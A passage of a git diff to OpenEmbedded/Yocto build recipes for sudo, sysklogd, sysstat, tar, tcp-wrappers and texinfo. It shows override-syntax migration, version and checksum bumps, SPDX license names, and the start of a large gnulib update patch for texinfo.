'pam-wheel', 'true', 'false', d)} ; then @@ -38,9 +42,21 @@ do_install_append () { chmod 0440 ${D}${sysconfdir}/sudoers # Explicitly remove the /sudo directory to avoid QA error - rmdir -p --ignore-fail-on-non-empty ${D}/sudo + rmdir -p --ignore-fail-on-non-empty ${D}/run/sudo } -FILES_${PN} += "${nonarch_libdir}/tmpfiles.d" -FILES_${PN}-dev += "${libexecdir}/${BPN}/lib*${SOLIBSDEV} ${libexecdir}/${BPN}/*.la \ - ${libexecdir}/lib*${SOLIBSDEV} ${libexecdir}/*.la" +FILES:${PN}-dev += "${libdir}/${BPN}/lib*${SOLIBSDEV} ${libdir}/${BPN}/*.la \ + ${libdir}/lib*${SOLIBSDEV} ${libdir}/*.la" + +CONFFILES:${PN}-lib = "${sysconfdir}/sudoers" + +SUDO_PACKAGES = "${PN}-sudo\ + ${PN}-lib" + +PACKAGE_BEFORE_PN = "${SUDO_PACKAGES}" + +RDEPENDS:${PN}-sudo = "${PN}-lib" +RDEPENDS:${PN} += "${SUDO_PACKAGES}" + +FILES:${PN}-sudo = "${bindir}/sudo ${bindir}/sudoedit" +FILES:${PN}-lib = "${localstatedir} ${libexecdir} ${sysconfdir} ${libdir} ${nonarch_libdir}" diff --git a/meta/recipes-extended/sysklogd/files/sysklogd b/meta/recipes-extended/sysklogd/files/sysklogd index 2a356a637a..050772b59d 100755 --- a/meta/recipes-extended/sysklogd/files/sysklogd +++ b/meta/recipes-extended/sysklogd/files/sysklogd @@ -22,6 +22,9 @@ binpath_syslogd=/usr/sbin/syslogd test -x $binpath || exit 0 +# run secure by default +SYSLOGD="-ss" + test ! -r /etc/default/syslogd || . /etc/default/syslogd create_xconsole() diff --git a/meta/recipes-extended/sysklogd/sysklogd_2.1.2.bb b/meta/recipes-extended/sysklogd/sysklogd_2.1.2.bb deleted file mode 100644 index 2917c2aae0..0000000000 --- a/meta/recipes-extended/sysklogd/sysklogd_2.1.2.bb +++ /dev/null @@ -1,3 +0,0 @@ -require sysklogd.inc - -SRCREV = "6d6010add698370fc7d9828f0aaa18613dd2397f" diff --git a/meta/recipes-extended/sysklogd/sysklogd.inc b/meta/recipes-extended/sysklogd/sysklogd_2.3.0.bb index 2e3d9831b1..7043f3d391 100644 --- a/meta/recipes-extended/sysklogd/sysklogd.inc +++ b/meta/recipes-extended/sysklogd/sysklogd_2.3.0.bb @@ -10,14 +10,17 @@ LIC_FILES_CHKSUM = "file://LICENSE;md5=5b4be4b2549338526758ef479c040943 \ inherit update-rc.d update-alternatives systemd autotools -SRC_URI = "git://github.com/troglobit/sysklogd.git;nobranch=1 \ +SRC_URI = "git://github.com/troglobit/sysklogd.git;branch=master;protocol=https \ file://sysklogd \ " + +SRCREV = "03c2c9c68d5d02675326527774e7e9cba3490ba0" + S = "${WORKDIR}/git" EXTRA_OECONF = "--with-systemd=${systemd_system_unitdir} --without-logger" -do_install_append () { +do_install:append () { install -d ${D}${sysconfdir} install -m 644 ${S}/syslog.conf ${D}${sysconfdir}/syslog.conf install -d ${D}${sysconfdir}/init.d @@ -25,21 +28,21 @@ do_install_append () { } SYSTEMD_PACKAGES = "${PN}" -SYSTEMD_SERVICE_${PN} = "syslogd.service" +SYSTEMD_SERVICE:${PN} = "syslogd.service" SYSTEMD_AUTO_ENABLE = "enable" INITSCRIPT_NAME = "syslog" -CONFFILES_${PN} = "${sysconfdir}/syslog.conf" -RCONFLICTS_${PN} = "rsyslog busybox-syslog syslog-ng" +CONFFILES:${PN} = "${sysconfdir}/syslog.conf" +RCONFLICTS:${PN} = "rsyslog busybox-syslog syslog-ng" -FILES_${PN} += "${@bb.utils.contains('DISTRO_FEATURES','systemd','${exec_prefix}/lib/tmpfiles.d/sysklogd.conf', '', d)}" +FILES:${PN} += "${@bb.utils.contains('DISTRO_FEATURES','systemd','${exec_prefix}/lib/tmpfiles.d/sysklogd.conf', '', d)}" ALTERNATIVE_PRIORITY = "100" -ALTERNATIVE_${PN}-doc = "syslogd.8" +ALTERNATIVE:${PN}-doc = "syslogd.8" ALTERNATIVE_LINK_NAME[syslogd.8] = "${mandir}/man8/syslogd.8" -pkg_prerm_${PN} () { +pkg_prerm:${PN} () { if test "x$D" = "x"; then if test "$1" = "upgrade" -o "$1" = "remove"; then /etc/init.d/syslog stop || : diff --git a/meta/recipes-extended/sysstat/sysstat.inc b/meta/recipes-extended/sysstat/sysstat.inc index 8fd87b943b..77337722ea 100644 --- a/meta/recipes-extended/sysstat/sysstat.inc +++ b/meta/recipes-extended/sysstat/sysstat.inc @@ -1,7 +1,7 @@ SUMMARY = "System performance tools" DESCRIPTION = "The sysstat utilities are a collection of performance monitoring tools for Linux." HOMEPAGE = "http://sebastien.godard.pagesperso-orange.fr/" -LICENSE = "GPLv2+" +LICENSE = "GPL-2.0-or-later" SECTION = "console/utils" SRC_URI = "http://pagesperso-orange.fr/sebastien.godard/${BP}.tar.xz \ @@ -23,7 +23,11 @@ PACKAGECONFIG[systemd] = "--with-systemdsystemunitdir=${systemd_system_unitdir}" EXTRA_OECONF += "--disable-stripping" -do_configure_prepend() { +SYSTEMD_PACKAGES = "${PN}" +SYSTEMD_SERVICE:${PN} = "sysstat.service" +SYSTEMD_AUTO_ENABLE = "enable" + +do_configure:prepend() { export sa_lib_dir=${libexecdir}/sa } @@ -47,14 +51,14 @@ do_install() { # Unless both cron and systemd are enabled, install our own # systemd unit file. Otherwise the package will install one. if ${@bb.utils.contains('PACKAGECONFIG', 'cron systemd', 'false', 'true', d)}; then - install -d ${D}${systemd_unitdir}/system - install -m 0644 ${WORKDIR}/sysstat.service ${D}${systemd_unitdir}/system - sed -i -e 's#@LIBEXECDIR@#${libexecdir}#g' ${D}${systemd_unitdir}/system/sysstat.service + install -d ${D}${systemd_system_unitdir} + install -m 0644 ${WORKDIR}/sysstat.service ${D}${systemd_system_unitdir} + sed -i -e 's#@LIBEXECDIR@#${libexecdir}#g' ${D}${systemd_system_unitdir}/sysstat.service fi fi } -pkg_postinst_${PN} () { +pkg_postinst:${PN} () { if [ ! -n "$D" ]; then if [ -e /etc/init.d/populate-volatile.sh ]; then /etc/init.d/populate-volatile.sh update @@ -62,6 +66,6 @@ pkg_postinst_${PN} () { fi } -FILES_${PN} += "${systemd_system_unitdir}" +FILES:${PN} += "${systemd_system_unitdir} ${nonarch_base_libdir}/systemd" TARGET_CC_ARCH += "${LDFLAGS}" diff --git a/meta/recipes-extended/sysstat/sysstat_12.2.2.bb b/meta/recipes-extended/sysstat/sysstat_12.4.5.bb index 333d10295a..fe3db4d8a5 100644 --- a/meta/recipes-extended/sysstat/sysstat_12.2.2.bb +++ b/meta/recipes-extended/sysstat/sysstat_12.4.5.bb @@ -4,5 +4,4 @@ LIC_FILES_CHKSUM = "file://COPYING;md5=a23a74b3f4caf9616230789d94217acb" SRC_URI += "file://0001-configure.in-remove-check-for-chkconfig.patch" -SRC_URI[md5sum] = "1073fdf7bba58483a467a8a0681beeda" -SRC_URI[sha256sum] = "78388b64acec81378b962e66b40e57acd4b18ff17a849bc9308f95d290248c9c" +SRC_URI[sha256sum] = "ef445acea301bbb996e410842f6290a8d049e884d4868cfef7e85dc04b7eee5b" diff --git a/meta/recipes-extended/tar/tar/musl_dirent.patch b/meta/recipes-extended/tar/tar/musl_dirent.patch deleted file mode 100644 index 2d98ed1310..0000000000 --- a/meta/recipes-extended/tar/tar/musl_dirent.patch +++ /dev/null @@ -1,19 +0,0 @@ -musl has valid d_ino implementation - -Signed-off-by: Khem Raj <raj.khem@gmail.com> -Upstream-Status: Pending - -Index: tar-1.28/m4/d-ino.m4 -=================================================================== ---- tar-1.28.orig/m4/d-ino.m4 -+++ tar-1.28/m4/d-ino.m4 -@@ -40,7 +40,8 @@ AC_DEFUN([gl_CHECK_TYPE_STRUCT_DIRENT_D_ - [gl_cv_struct_dirent_d_ino=no], - [case "$host_os" in - # Guess yes on glibc systems with Linux kernel. -- linux*-gnu*) gl_cv_struct_dirent_d_ino="guessing yes" ;; -+ linux*-gnu*|linux*-musl*) -+ gl_cv_struct_dirent_d_ino="guessing yes" ;; - # Guess no on native Windows. - mingw*) gl_cv_struct_dirent_d_ino="guessing no" ;; - # If we don't know, assume the worst. diff --git a/meta/recipes-extended/tar/tar_1.32.bb b/meta/recipes-extended/tar/tar_1.34.bb index ebe6cb0dbd..7307cd57a2 100644 --- a/meta/recipes-extended/tar/tar_1.32.bb +++ b/meta/recipes-extended/tar/tar_1.34.bb @@ -3,22 +3,20 @@ DESCRIPTION = "GNU tar saves many files together into a single tape \ or disk archive, and can restore individual files from the archive." HOMEPAGE = "http://www.gnu.org/software/tar/" SECTION = "base" -LICENSE = "GPLv3" +LICENSE = "GPL-3.0-only" LIC_FILES_CHKSUM = "file://COPYING;md5=d32239bcb673463ab874e80d47fae504" -SRC_URI = "${GNU_MIRROR}/tar/tar-${PV}.tar.bz2 \ - file://musl_dirent.patch \ -" +SRC_URI = "${GNU_MIRROR}/tar/tar-${PV}.tar.bz2" -SRC_URI[md5sum] = "17917356fff5cb4bd3cd5a6c3e727b05" -SRC_URI[sha256sum] = "e4bb9e08e12e7fa9f11fef544efc85e59ba34538593d9ad38148c7ca2bfbb566" +SRC_URI[sha256sum] = "b44cc67f8a1f6b0250b7c860e952b37e8ed932a90bd9b1862a511079255646ff" inherit autotools gettext texinfo PACKAGECONFIG ??= "" -PACKAGECONFIG_append_class-target = " ${@bb.utils.filter('DISTRO_FEATURES', 'acl', d)}" +PACKAGECONFIG:append:class-target = " ${@bb.utils.filter('DISTRO_FEATURES', 'acl', d)}" PACKAGECONFIG[acl] = "--with-posix-acls,--without-posix-acls,acl" +PACKAGECONFIG[selinux] = "--with-selinux,--without-selinux,libselinux" EXTRA_OECONF += "DEFAULT_RMT_DIR=${sbindir}" @@ -35,7 +33,7 @@ do_install () { ln -s tar ${D}${bindir}/gtar } -do_install_append_class-target() { +do_install:append:class-target() { if [ "${base_bindir}" != "${bindir}" ]; then install -d ${D}${base_bindir} mv ${D}${bindir}/tar ${D}${base_bindir}/tar @@ -46,21 +44,25 @@ do_install_append_class-target() { PACKAGES =+ "${PN}-rmt" -FILES_${PN}-rmt = "${sbindir}/rmt*" +FILES:${PN}-rmt = "${sbindir}/rmt*" inherit update-alternatives ALTERNATIVE_PRIORITY = "100" -ALTERNATIVE_${PN} = "tar" -ALTERNATIVE_${PN}-rmt = "rmt" -ALTERNATIVE_${PN}_class-nativesdk = "" -ALTERNATIVE_${PN}-rmt_class-nativesdk = "" +ALTERNATIVE:${PN} = "tar" +ALTERNATIVE:${PN}-rmt = "rmt" +ALTERNATIVE:${PN}:class-nativesdk = "" +ALTERNATIVE:${PN}-rmt:class-nativesdk = "" ALTERNATIVE_LINK_NAME[tar] = "${base_bindir}/tar" ALTERNATIVE_LINK_NAME[rmt] = "${sbindir}/rmt" -PROVIDES_append_class-native = " tar-replacement-native" +PROVIDES:append:class-native = " tar-replacement-native" NATIVE_PACKAGE_PATH_SUFFIX = "/${PN}" BBCLASSEXTEND = "native nativesdk" + +# Avoid false positives from CVEs in node-tar package +# For example CVE-2021-{32803,32804,37701,37712,37713} +CVE_PRODUCT = "gnu:tar" diff --git a/meta/recipes-extended/tcp-wrappers/tcp-wrappers-7.6/socklen_t.patch b/meta/recipes-extended/tcp-wrappers/tcp-wrappers-7.6/socklen_t.patch index 8e46df8e1e..cf4f993c1a 100644 --- a/meta/recipes-extended/tcp-wrappers/tcp-wrappers-7.6/socklen_t.patch +++ b/meta/recipes-extended/tcp-wrappers/tcp-wrappers-7.6/socklen_t.patch @@ -7,9 +7,8 @@ Date: Tue Feb 12 09:53:50 2013 -0500 Added support for socklen_t type to len argument passed to socket related calls. This fixes a bug that causes tcp wrappers to fail when using sshd. - Upstream-Status: Pending - - Signed-off-by: farrah rashid <farrah.rashid@windriver.com> +Upstream-Status: Pending +Signed-off-by: farrah rashid <farrah.rashid@windriver.com> diff --git a/fix_options.c b/fix_options.c index 7473adf..fe2b442 100644 diff --git a/meta/recipes-extended/tcp-wrappers/tcp-wrappers_7.6.bb b/meta/recipes-extended/tcp-wrappers/tcp-wrappers_7.6.bb index e903b9db14..814d7fd913 100644 --- a/meta/recipes-extended/tcp-wrappers/tcp-wrappers_7.6.bb +++ b/meta/recipes-extended/tcp-wrappers/tcp-wrappers_7.6.bb @@ -11,12 +11,12 @@ PR ="r10" DEPENDS += "libnsl2" PACKAGES = "${PN}-dbg libwrap libwrap-doc libwrap-dev libwrap-staticdev ${PN} ${PN}-doc" -FILES_libwrap = "${base_libdir}/lib*${SOLIBS}" -FILES_libwrap-doc = "${mandir}/man3 ${mandir}/man5" -FILES_libwrap-dev = "${libdir}/lib*${SOLIBSDEV} ${includedir}" -FILES_libwrap-staticdev = "${libdir}/lib*.a" -FILES_${PN} = "${sbindir}" -FILES_${PN}-doc = "${mandir}/man8" +FILES:libwrap = "${base_libdir}/lib*${SOLIBS}" +FILES:libwrap-doc = "${mandir}/man3 ${mandir}/man5" +FILES:libwrap-dev = "${libdir}/lib*${SOLIBSDEV} ${includedir}" +FILES:libwrap-staticdev = "${libdir}/lib*.a" +FILES:${PN} = "${sbindir}" +FILES:${PN}-doc = "${mandir}/man8" SRC_URI = "http://ftp.porcupine.org/pub/security/tcp_wrappers_${PV}.tar.gz \ file://00_man_quoting.diff \ @@ -78,9 +78,9 @@ EXTRA_OEMAKE = "'CC=${CC}' \ 'EXTRA_CFLAGS=${CFLAGS} -DSYS_ERRLIST_DEFINED -DHAVE_STRERROR -DHAVE_WEAKSYMS -D_REENTRANT -DINET6=1 -Dss_family=__ss_family -Dss_len=__ss_len'" EXTRA_OEMAKE_NETGROUP = "-DNETGROUP -DUSE_GETDOMAIN" -EXTRA_OEMAKE_NETGROUP_libc-musl = "-DUSE_GETDOMAIN" +EXTRA_OEMAKE_NETGROUP:libc-musl = "-DUSE_GETDOMAIN" -EXTRA_OEMAKE_append_libc-musl = " 'LIBS='" +EXTRA_OEMAKE:append:libc-musl = " 'LIBS='" do_compile () { oe_runmake 'TABLES=-DHOSTS_DENY=\"${sysconfdir}/hosts.deny\" -DHOSTS_ALLOW=\"${sysconfdir}/hosts.allow\"' \ @@ -133,4 +133,4 @@ do_install () { touch ${D}${sysconfdir}/hosts.deny } -FILES_${PN} += "${sysconfdir}/hosts.allow ${sysconfdir}/hosts.deny" +FILES:${PN} += "${sysconfdir}/hosts.allow ${sysconfdir}/hosts.deny" diff --git a/meta/recipes-extended/texinfo-dummy-native/texinfo-dummy-native.bb b/meta/recipes-extended/texinfo-dummy-native/texinfo-dummy-native.bb index ec04bfe390..a942ac2991 100644 --- a/meta/recipes-extended/texinfo-dummy-native/texinfo-dummy-native.bb +++ b/meta/recipes-extended/texinfo-dummy-native/texinfo-dummy-native.bb @@ -1,5 +1,6 @@ SUMMARY = "Fake version of the texinfo utility suite" SECTION = "console/utils" +DESCRIPTION = "${SUMMARY}" LICENSE = "MIT" LIC_FILES_CHKSUM = "file://COPYING;md5=d6bb62e73ca8b901d3f2e9d71542f4bb" DEPENDS = "" diff --git a/meta/recipes-extended/texinfo/texinfo/0001-gnulib-Update.patch b/meta/recipes-extended/texinfo/texinfo/0001-gnulib-Update.patch new file mode 100644 index 0000000000..470212cabd --- /dev/null +++ b/meta/recipes-extended/texinfo/texinfo/0001-gnulib-Update.patch @@ -0,0 +1,11765 @@ +From 4908050c39dbcdcbd59955ea23d692f25f342307 Mon Sep 17 00:00:00 2001 +From: Khem Raj <raj.khem@gmail.com> +Date: Wed, 7 Jul 2021 13:42:35 -0700 +Subject: [PATCH] gnulib: Update + +Upstream-Status: Pending +Signed-off-by: Khem Raj <raj.khem@gmail.com> +--- + gnulib/lib/Makefile.am | 782 +++++++++++-------- + gnulib/lib/_Noreturn.h | 8 +- + gnulib/lib/alloca.in.h | 20 +- + gnulib/lib/arg-nonnull.h | 8 +- + gnulib/lib/argz.c | 16 +- + gnulib/lib/argz.in.h | 14 +- + gnulib/lib/asnprintf.c | 16 +- + gnulib/lib/asprintf.c | 16 +- + gnulib/lib/attribute.h | 16 +- + gnulib/lib/basename-lgpl.c | 14 +- + gnulib/lib/basename-lgpl.h | 26 +- + gnulib/lib/btowc.c | 14 +- + gnulib/lib/c++defs.h | 8 +- + gnulib/lib/calloc.c | 55 ++ + gnulib/lib/cdefs.h | 26 +- + gnulib/lib/cloexec.c | 18 +- + gnulib/lib/cloexec.h | 18 +- + gnulib/lib/close.c | 14 +- + gnulib/lib/dup2.c | 14 +- + gnulib/lib/dynarray.h | 24 +- + gnulib/lib/errno.in.h | 16 +- + gnulib/lib/error.c | 14 +- + gnulib/lib/error.h | 14 +- + gnulib/lib/exitfail.c | 14 +- + gnulib/lib/exitfail.h | 14 +- + gnulib/lib/fcntl.c | 14 +- + gnulib/lib/fcntl.in.h | 14 +- + gnulib/lib/fd-hook.c | 16 +- + gnulib/lib/fd-hook.h | 16 +- + gnulib/lib/filename.h | 8 +- + gnulib/lib/float+.h | 16 +- + gnulib/lib/float.c | 14 +- + gnulib/lib/float.in.h | 14 +- + gnulib/lib/free.c | 53 ++ + gnulib/lib/fstat.c | 14 +- + gnulib/lib/getdtablesize.c | 14 +- + gnulib/lib/getopt-cdefs.in.h | 21 +- + gnulib/lib/getopt-core.h | 8 +- + gnulib/lib/getopt-ext.h | 8 +- + gnulib/lib/getopt-pfx-core.h | 21 +- + gnulib/lib/getopt-pfx-ext.h | 21 +- + gnulib/lib/getopt.c | 8 +- + gnulib/lib/getopt.in.h | 24 +- + gnulib/lib/getopt1.c | 8 +- + gnulib/lib/getopt_int.h | 8 +- + gnulib/lib/getprogname.c | 18 +- + gnulib/lib/getprogname.h | 8 +- + gnulib/lib/gettext.h | 16 +- + gnulib/lib/glthread/lock.c | 16 +- + gnulib/lib/glthread/lock.h | 16 +- + gnulib/lib/glthread/threadlib.c | 16 +- + gnulib/lib/hard-locale.c | 14 +- + gnulib/lib/hard-locale.h | 14 +- + gnulib/lib/ialloc.c | 21 + + gnulib/lib/ialloc.h | 94 +++ + gnulib/lib/idx.h | 114 +++ + gnulib/lib/intprops.h | 26 +- + gnulib/lib/inttypes.in.h | 14 +- + gnulib/lib/iswblank.c | 16 +- + gnulib/lib/iswdigit.c | 16 +- + gnulib/lib/iswxdigit.c | 16 +- + gnulib/lib/itold.c | 14 +- + gnulib/lib/langinfo.in.h | 16 +- + gnulib/lib/lc-charset-dispatch.c | 14 +- + gnulib/lib/lc-charset-dispatch.h | 14 +- + gnulib/lib/libc-config.h | 25 +- + gnulib/lib/limits.in.h | 16 +- + gnulib/lib/localcharset.c | 16 +- + gnulib/lib/localcharset.h | 16 +- + gnulib/lib/locale.in.h | 14 +- + gnulib/lib/localeconv.c | 14 +- + gnulib/lib/malloc.c | 51 +- + gnulib/lib/malloc/dynarray-skeleton.c | 8 +- + gnulib/lib/malloc/dynarray.h | 8 +- + gnulib/lib/malloc/dynarray_at_failure.c | 8 +- + gnulib/lib/malloc/dynarray_emplace_enlarge.c | 8 +- + gnulib/lib/malloc/dynarray_finalize.c | 8 +- + gnulib/lib/malloc/dynarray_resize.c | 8 +- + gnulib/lib/malloc/dynarray_resize_clear.c | 8 +- + gnulib/lib/malloca.c | 24 +- + gnulib/lib/malloca.h | 21 +- + gnulib/lib/mbchar.c | 14 +- + gnulib/lib/mbchar.h | 14 +- + gnulib/lib/mbiter.c | 18 + + gnulib/lib/mbiter.h | 14 +- + gnulib/lib/mbrtowc-impl-utf8.h | 16 +- + gnulib/lib/mbrtowc-impl.h | 14 +- + gnulib/lib/mbrtowc.c | 14 +- + gnulib/lib/mbscasecmp.c | 14 +- + gnulib/lib/mbschr.c | 14 +- + gnulib/lib/mbsinit.c | 14 +- + gnulib/lib/mbslen.c | 14 +- + gnulib/lib/mbsncasecmp.c | 14 +- + gnulib/lib/mbsstr.c | 14 +- + gnulib/lib/mbtowc-impl.h | 14 +- + gnulib/lib/mbtowc-lock.c | 14 +- + gnulib/lib/mbtowc-lock.h | 14 +- + gnulib/lib/mbtowc.c | 14 +- + gnulib/lib/mbuiter.c | 17 + + gnulib/lib/mbuiter.h | 14 +- + gnulib/lib/memchr.c | 24 +- + gnulib/lib/memchr.valgrind | 14 +- + gnulib/lib/mempcpy.c | 16 +- + gnulib/lib/memrchr.c | 14 +- + gnulib/lib/minmax.h | 60 ++ + gnulib/lib/msvc-inval.c | 16 +- + gnulib/lib/msvc-inval.h | 16 +- + gnulib/lib/msvc-nothrow.c | 16 +- + gnulib/lib/msvc-nothrow.h | 16 +- + gnulib/lib/nl_langinfo-lock.c | 14 +- + gnulib/lib/nl_langinfo.c | 14 +- + gnulib/lib/open.c | 14 +- + gnulib/lib/pathmax.h | 16 +- + gnulib/lib/printf-args.c | 16 +- + gnulib/lib/printf-args.h | 16 +- + gnulib/lib/printf-parse.c | 27 +- + gnulib/lib/printf-parse.h | 16 +- + gnulib/lib/realloc.c | 63 ++ + gnulib/lib/reallocarray.c | 39 + + gnulib/lib/regcomp.c | 8 +- + gnulib/lib/regex.c | 8 +- + gnulib/lib/regex.h | 8 +- + gnulib/lib/regex_internal.c | 8 +- + gnulib/lib/regex_internal.h | 8 +- + gnulib/lib/regexec.c | 20 +- + gnulib/lib/setlocale-lock.c | 14 +- + gnulib/lib/setlocale_null.c | 14 +- + gnulib/lib/setlocale_null.h | 14 +- + gnulib/lib/size_max.h | 16 +- + gnulib/lib/stat-time.c | 18 + + gnulib/lib/stat-time.h | 14 +- + gnulib/lib/stat-w32.c | 14 +- + gnulib/lib/stat-w32.h | 14 +- + gnulib/lib/stat.c | 14 +- + gnulib/lib/stdarg.in.h | 16 +- + gnulib/lib/stdbool.in.h | 16 +- + gnulib/lib/stddef.in.h | 16 +- + gnulib/lib/stdint.in.h | 20 +- + gnulib/lib/stdio.in.h | 24 +- + gnulib/lib/stdlib.in.h | 146 +++- + gnulib/lib/stpcpy.c | 14 +- + gnulib/lib/str-kmp.h | 26 +- + gnulib/lib/str-two-way.h | 16 +- + gnulib/lib/strcasecmp.c | 16 +- + gnulib/lib/strcasestr.c | 16 +- + gnulib/lib/strdup.c | 16 +- + gnulib/lib/streq.h | 16 +- + gnulib/lib/strerror-override.c | 100 +-- + gnulib/lib/strerror-override.h | 15 +- + gnulib/lib/strerror.c | 14 +- + gnulib/lib/string.in.h | 18 +- + gnulib/lib/strings.in.h | 16 +- + gnulib/lib/strncasecmp.c | 16 +- + gnulib/lib/strndup.c | 16 +- + gnulib/lib/strnlen.c | 16 +- + gnulib/lib/strnlen1.c | 14 +- + gnulib/lib/strnlen1.h | 14 +- + gnulib/lib/strstr.c | 16 +- + gnulib/lib/sys_stat.in.h | 16 +- + gnulib/lib/sys_types.in.h | 16 +- + gnulib/lib/time.in.h | 58 +- + gnulib/lib/unistd.c | 18 + + gnulib/lib/unistd.in.h | 29 +- + gnulib/lib/unitypes.in.h | 16 +- + gnulib/lib/uniwidth.in.h | 16 +- + gnulib/lib/uniwidth/cjk.h | 16 +- + gnulib/lib/uniwidth/width.c | 16 +- + gnulib/lib/vasnprintf.c | 71 +- + gnulib/lib/vasnprintf.h | 16 +- + gnulib/lib/vasprintf.c | 16 +- + gnulib/lib/verify.h | 14 +- + gnulib/lib/warn-on-use.h | 8 +- + gnulib/lib/wchar.in.h | 18 +- + gnulib/lib/wcrtomb.c | 14 +- + gnulib/lib/wctype-h.c | 19 + + gnulib/lib/wctype.in.h | 26 +- + gnulib/lib/wcwidth.c | 14 +- + gnulib/lib/windows-initguard.h | 16 +- + gnulib/lib/windows-mutex.c | 16 +- + gnulib/lib/windows-mutex.h | 16 +- + gnulib/lib/windows-once.c | 16 +- + gnulib/lib/windows-once.h | 16 +- + gnulib/lib/windows-recmutex.c | 16 +- + gnulib/lib/windows-recmutex.h | 16 +- + gnulib/lib/windows-rwlock.c | 16 +- + gnulib/lib/windows-rwlock.h | 16 +- + gnulib/lib/xalloc-oversized.h | 53 +- + gnulib/lib/xalloc.h | 143 +--- + gnulib/lib/xmalloc.c | 293 +++++-- + gnulib/lib/xsize.c | 18 + + gnulib/lib/xsize.h | 16 +- + gnulib/m4/calloc.m4 | 82 ++ + gnulib/m4/fcntl_h.m4 | 39 +- + gnulib/m4/free.m4 | 52 ++ + gnulib/m4/fstat.m4 | 4 +- + gnulib/m4/gnulib-common.m4 | 84 +- + gnulib/m4/gnulib-comp.m4 | 192 ++++- + gnulib/m4/inttypes.m4 | 31 +- + gnulib/m4/iswdigit.m4 | 6 +- + gnulib/m4/iswxdigit.m4 | 4 +- + gnulib/m4/langinfo_h.m4 | 25 +- + gnulib/m4/largefile.m4 | 28 +- + gnulib/m4/locale_h.m4 | 37 +- + gnulib/m4/malloc.m4 | 152 +++- + gnulib/m4/math_h.m4 | 227 +++--- + gnulib/m4/mbslen.m4 | 4 +- + gnulib/m4/memchr.m4 | 4 +- + gnulib/m4/mempcpy.m4 | 4 +- + gnulib/m4/memrchr.m4 | 4 +- + gnulib/m4/minmax.m4 | 44 ++ + gnulib/m4/printf.m4 | 5 +- + gnulib/m4/realloc.m4 | 63 ++ + gnulib/m4/reallocarray.m4 | 23 + + gnulib/m4/stat.m4 | 4 +- + gnulib/m4/stddef_h.m4 | 23 +- + gnulib/m4/stdint.m4 | 6 +- + gnulib/m4/stdio_h.m4 | 168 ++-- + gnulib/m4/stdlib_h.m4 | 122 +-- + gnulib/m4/stpcpy.m4 | 4 +- + gnulib/m4/strcase.m4 | 6 +- + gnulib/m4/strcasestr.m4 | 4 +- + gnulib/m4/strdup.m4 | 6 +- + gnulib/m4/strerror.m4 | 4 +- + gnulib/m4/string_h.m4 | 124 +-- + gnulib/m4/strings_h.m4 | 38 +- + gnulib/m4/strndup.m4 | 4 +- + gnulib/m4/strnlen.m4 | 4 +- + gnulib/m4/strstr.m4 | 4 +- + gnulib/m4/sys_socket_h.m4 | 53 +- + gnulib/m4/sys_stat_h.m4 | 65 +- + gnulib/m4/sys_types_h.m4 | 16 +- + gnulib/m4/time_h.m4 | 62 +- + gnulib/m4/unistd_h.m4 | 194 ++--- + gnulib/m4/visibility.m4 | 6 +- + gnulib/m4/wchar_h.m4 | 109 +-- + gnulib/m4/wctype_h.m4 | 39 +- + gnulib/m4/wint_t.m4 | 10 +- + gnulib/m4/year2038.m4 | 112 +++ + 238 files changed, 4521 insertions(+), 2636 deletions(-) + create mode 100644 gnulib/lib/calloc.c + create mode 100644 gnulib/lib/free.c + create mode 100644 gnulib/lib/ialloc.c + create mode 100644 gnulib/lib/ialloc.h + create mode 100644 gnulib/lib/idx.h + create mode 100644 gnulib/lib/minmax.h + create mode 100644 gnulib/lib/realloc.c + create mode 100644 gnulib/lib/reallocarray.c + create mode 100644 gnulib/m4/calloc.m4 + create mode 100644 gnulib/m4/free.m4 + create mode 100644 gnulib/m4/minmax.m4 + create mode 100644 gnulib/m4/realloc.m4 + create mode 100644 gnulib/m4/reallocarray.m4 + create mode 100644 gnulib/m4/year2038.m4 + +--- a/gnulib/lib/Makefile.am ++++ b/gnulib/lib/Makefile.am +@@ -165,6 +165,24 @@ EXTRA_libgnu_a_SOURCES += btowc.c + + ## end gnulib module btowc + ++## begin gnulib module calloc-gnu ++ ++ ++EXTRA_DIST += calloc.c ++ ++EXTRA_libgnu_a_SOURCES += calloc.c ++ ++## end gnulib module calloc-gnu ++ ++## begin gnulib module calloc-posix ++ ++ ++EXTRA_DIST += calloc.c ++ ++EXTRA_libgnu_a_SOURCES += calloc.c ++ ++## end gnulib module calloc-posix ++ + ## begin gnulib module cloexec + + if gl_GNULIB_ENABLED_cloexec +@@ -200,6 +218,32 @@ EXTRA_libgnu_a_SOURCES += dup2.c + ## begin gnulib module dynarray + + if gl_GNULIB_ENABLED_dynarray ++BUILT_SOURCES += malloc/dynarray.gl.h malloc/dynarray-skeleton.gl.h ++ ++malloc/dynarray.gl.h: malloc/dynarray.h ++ $(AM_V_at)$(MKDIR_P) malloc ++ $(AM_V_GEN)rm -f $@-t $@ && \ ++ { echo '/* DO NOT EDIT! GENERATED AUTOMATICALLY! */'; \ ++ sed -e '/libc_hidden_proto/d' < $(srcdir)/malloc/dynarray.h; \ ++ } > $@-t && \ ++ mv $@-t $@ ++MOSTLYCLEANFILES += malloc/dynarray.gl.h malloc/dynarray.gl.h-t ++ ++malloc/dynarray-skeleton.gl.h: malloc/dynarray-skeleton.c ++ $(AM_V_at)$(MKDIR_P) malloc ++ $(AM_V_GEN)rm -f $@-t $@ && \ ++ { echo '/* DO NOT EDIT! GENERATED AUTOMATICALLY! */'; \ ++ sed -e 's|<malloc/dynarray\.h>|<malloc/dynarray.gl.h>|g' \ ++ -e 's|__attribute_maybe_unused__|_GL_ATTRIBUTE_MAYBE_UNUSED|g' \ ++ -e 's|__attribute_nonnull__|_GL_ATTRIBUTE_NONNULL|g' \ ++ -e 's|__attribute_warn_unused_result__|_GL_ATTRIBUTE_NODISCARD|g' \ ++ -e 's|__glibc_likely|_GL_LIKELY|g' \ ++ -e 's|__glibc_unlikely|_GL_UNLIKELY|g' \ ++ < $(srcdir)/malloc/dynarray-skeleton.c; \ ++ } > $@-t && \ ++ mv $@-t $@ ++MOSTLYCLEANFILES += malloc/dynarray-skeleton.gl.h malloc/dynarray-skeleton.gl.h-t ++ + libgnu_a_SOURCES += malloc/dynarray_at_failure.c malloc/dynarray_emplace_enlarge.c malloc/dynarray_finalize.c malloc/dynarray_resize.c malloc/dynarray_resize_clear.c + + endif +@@ -285,13 +329,13 @@ fcntl.h: fcntl.in.h $(top_builddir)/conf + -e 's|@''PRAGMA_SYSTEM_HEADER''@|@PRAGMA_SYSTEM_HEADER@|g' \ + -e 's|@''PRAGMA_COLUMNS''@|@PRAGMA_COLUMNS@|g' \ + -e 